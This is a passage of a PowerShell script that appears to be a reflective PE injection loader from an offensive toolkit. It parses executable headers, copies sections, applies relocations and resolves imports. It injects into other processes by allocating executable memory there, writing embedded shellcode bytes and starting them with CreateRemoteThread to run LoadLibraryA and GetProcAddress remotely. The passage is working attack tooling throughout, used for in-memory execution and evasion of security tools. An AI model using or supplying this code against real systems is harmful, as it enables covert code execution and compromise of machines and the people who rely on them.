        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
        
        if ($PEInfo.PE64Bit -eq $true)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
        }
        else
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
        }
        
        if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
        {
            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
        }
        elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
        {
            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
        }
        else
        {
            Throw "PE file is not an EXE or DLL"
        }
        
        return $PEInfo
    }
    
    
    Function Import-DllInRemoteProcess
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,
        
        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $ImportDllPathPtr
        )
        
        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
        
        $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
        $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
        $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($RImportDllPathPtr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process"
        }

        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
        
        if ($Success -eq $false)
        {
            Throw "Unable to write DLL path to remote process memory"
        }
        if ($DllPathSize -ne $NumBytesWritten)
        {
            Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
        }
        
        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
        $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
        
        [IntPtr]$DllAddress = [IntPtr]::Zero
        #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
        #   Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
        if ($PEInfo.PE64Bit -eq $true)
        {
            #Allocate memory for the address returned by LoadLibraryA
            $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
            }
            
            
            #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
            $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
            $LoadLibrarySC2 = @(0x48, 0xba)
            $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
            $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
            
            $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
            $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
            $SCPSMemOriginal = $SCPSMem
            
            Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)

            
            $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($RSCAddr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process for shellcode"
            }
            
            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
            if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
            {
                Throw "Unable to write shellcode to remote process memory."
            }
            
            $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call GetProcAddress failed."
            }
            
            #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
            [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
            $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
            if ($Result -eq $false)
            {
                Throw "Call to ReadProcessMemory failed"
            }
            [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        }
        else
        {
            [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call GetProcAddress failed."
            }
            
            [Int32]$ExitCode = 0
            $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
            if (($Result -eq 0) -or ($ExitCode -eq 0))
            {
                Throw "Call to GetExitCodeThread failed"
            }
            
            [IntPtr]$DllAddress = [IntPtr]$ExitCode
        }
        
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        
        return $DllAddress
    }
    
    
    Function Get-RemoteProcAddress
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,
        
        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $RemoteDllHandle,
        
        [Parameter(Position=2, Mandatory=$true)]
        [IntPtr]
        $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)

        [Parameter(Position=3, Mandatory=$true)]
        [Bool]
        $LoadByOrdinal
        )

        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

        [IntPtr]$RFuncNamePtr = [IntPtr]::Zero   #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
        #If not loading by ordinal, write the function name to the remote process memory
        if (-not $LoadByOrdinal)
        {
            $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)

            #Write FunctionName to memory (will be used in GetProcAddress)
            $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
            $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            if ($RFuncNamePtr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process"
            }

            [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write DLL path to remote process memory"
            }
            if ($FunctionNameSize -ne $NumBytesWritten)
            {
                Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
            }
        }
        #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
        else
        {
            $RFuncNamePtr = $FunctionNamePtr
        }
        
        #Get address of GetProcAddress
        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
        $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes

        
        #Allocate memory for the address returned by GetProcAddress
        $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
        }
        
        
        #Write Shellcode to the remote process which will call GetProcAddress
        #Shellcode: GetProcAddress.asm
        [Byte[]]$GetProcAddressSC = @()
        if ($PEInfo.PE64Bit -eq $true)
        {
            $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
            $GetProcAddressSC2 = @(0x48, 0xba)
            $GetProcAddressSC3 = @(0x48, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
            $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
        }
        else
        {
            $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
            $GetProcAddressSC2 = @(0xb9)
            $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
            $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
        }
        $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
        $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
        $SCPSMemOriginal = $SCPSMem
        
        Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
        
        $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
        if ($RSCAddr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for shellcode"
        }
        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
        if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
        {
            Throw "Unable to write shellcode to remote process memory."
        }
        
        $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
        $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
        if ($Result -ne 0)
        {
            Throw "Call to CreateRemoteThread to call GetProcAddress failed."
        }
        
        #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
        [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
        $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
        if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
        {
            Throw "Call to ReadProcessMemory failed"
        }
        [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

        #Cleanup remote process memory
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

        if (-not $LoadByOrdinal)
        {
            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        }
        
        return $ProcAddress
    }


    Function Copy-Sections
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PEBytes,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )
        
        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
        
            #Address to copy the section to
            [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
            
            #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
            #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
            #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
            #    so truncate SizeOfRawData to VirtualSize
            $SizeOfRawData = $SectionHeader.SizeOfRawData

            if ($SectionHeader.PointerToRawData -eq 0)
            {
                $SizeOfRawData = 0
            }
            
            if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
            {
                $SizeOfRawData = $SectionHeader.VirtualSize
            }
            
            if ($SizeOfRawData -gt 0)
            {
                Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
                [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
            }
        
            #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
            if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
            {
                $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
                [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
                Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
                $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
            }
        }
    }


    Function Update-MemoryAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $OriginalImageBase,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )
        
        [Int64]$BaseDifference = 0
        $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
        [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
        
        #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
        if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
                -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
        {
            return
        }


        elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
            $AddDifference = $false
        }
        elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
        }
        
        #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
        [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
        while($true)
        {
            #If SizeOfBlock == 0, we are done
            $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)

            if ($BaseRelocationTable.SizeOfBlock -eq 0)
            {
                break
            }

            [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
            $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2

            #Loop through each relocation
            for($i = 0; $i -lt $NumRelocations; $i++)
            {
                #Get info for this relocation
                $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
                [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])

                #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
                [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
                [UInt16]$RelocType = $RelocationInfo -band 0xF000
                for ($j = 0; $j -lt 12; $j++)
                {
                    $RelocType = [Math]::Floor($RelocType / 2)
                }

                #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
                #This appears to be true for EXE's as well.
                #   Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
                if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
                        -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
                {           
                    #Get the current memory address and update it based off the difference between PE expected base address and actual base address
                    [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
                    [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
        
                    if ($AddDifference -eq $true)
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }
                    else
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }               

                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
                }
                elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
                {
                    #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
                    Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
                }
            }
            
            $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
        }
    }


    Function Import-DllImports
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants,
        
        [Parameter(Position = 4, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle
        )
        
        $RemoteLoading = $false
        if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
        {
            $RemoteLoading = $true
        }
        
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
            
            while ($true)
            {
                $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
                
                #If the structure is null, it signals that this is the end of the array
                if ($ImportDescriptor.Characteristics -eq 0 `
                        -and $ImportDescriptor.FirstThunk -eq 0 `
                        -and $ImportDescriptor.ForwarderChain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0 `
                        -and $ImportDescriptor.TimeDateStamp -eq 0)
                {
                    Write-Verbose "Done importing DLL imports"
                    break
                }

                $ImportDllHandle = [IntPtr]::Zero
                $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
                
                if ($RemoteLoading -eq $true)
                {
                    $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
                }
                else
                {
                    $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
                }

                if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
                {
                    throw "Error importing DLL, DLLName: $ImportDllPath"
                }
                
                #Get the first thunk, then loop through all of them
                [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
                [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
                [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
                
                while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
                {
                    $LoadByOrdinal = $false
                    [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
                    #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
                    #   If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
                    #   and doing the comparison, just see if it is less than 0
                    [IntPtr]$NewThunkRef = [IntPtr]::Zero
                    if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                        $LoadByOrdinal = $true
                    }
                    elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                        $LoadByOrdinal = $true
                    }
                    else
                    {
                        [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
                        $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
                        $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
                        $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
                    }
                    
                    if ($RemoteLoading -eq $true)
                    {
                        [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
                    }
                    else
                    {
                        [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
                    }
                    
                    if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
                    {
                        if ($LoadByOrdinal)
                        {
                            Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
                        }
                        else
                        {
                            Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
                        }
                    }

                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
                    
                    $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                    [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
